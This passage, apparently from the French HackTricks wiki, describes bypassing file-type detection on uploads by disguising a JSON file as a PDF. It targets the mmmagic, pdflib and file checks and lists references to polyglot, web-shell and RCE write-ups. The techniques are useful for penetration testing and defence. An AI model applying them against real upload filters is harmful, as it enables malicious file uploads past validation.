Comment éviter la détection du type de fichier en téléversant un fichier JSON valide même si ce n'est pas autorisé en le faisant passer pour un PDF (techniques tirées de this blog post) :
mmmagic
library : Tant que les octets magiques%PDF
se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article)pdflib
library : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la library pense que c'est un PDF (voir exemple dans l'article)file
binary : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu en tant que json puis, à l'intérieur du JSON, mettre la partie initiale d'un vrai PDF et il pensera que c'est un PDF
References
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
-
https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
-
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
-
https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
-
usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
-
HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
-
0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.